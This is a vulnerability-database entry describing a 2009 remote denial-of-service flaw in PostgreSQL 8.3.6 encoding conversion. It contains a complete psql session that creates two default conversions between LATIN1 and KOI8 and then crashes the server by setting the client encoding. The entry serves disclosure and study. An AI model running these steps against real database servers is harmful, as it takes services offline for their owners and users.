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PostgreSQL转换编码远程拒绝服务漏洞

🗓️ 19 Mar 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 155 Views

PostgreSQL remote denial of service vulnerability in encoding conversio

Related
Code

                                                =cut=
postgres(at)sunset:~$ createdb test -E KOI8
postgres(at)sunset:~$ psql test
Welcome to psql 8.3.6, the PostgreSQL interactive terminal.

Type:  \\copyright for distribution terms
       \\h for help with SQL commands
       \\? for help with psql commands
       \\g or terminate with semicolon to execute query
       \\q to quit

test=# SHOW server_version;
server_version 
----------------
8.3.6
(1 row)

test=# CREATE DEFAULT CONVERSION test1 FOR \'LATIN1\' TO \'KOI8\' FROM
ascii_to_mic;
CREATE CONVERSION
test=# CREATE DEFAULT CONVERSION test2 FOR \'KOI8\' TO \'LATIN1\' FROM
mic_to_ascii;
CREATE CONVERSION
test=# set client_encoding to \'LATIN1\';
server closed the connection unexpectedly
    This probably means the server terminated abnormally
    before or while processing the request.
Соединение с сервером было потеряно.
Попытка переустановить: Безуспешно.
!> \\q
=end cut=


                              

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19 Mar 2009 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.09096
155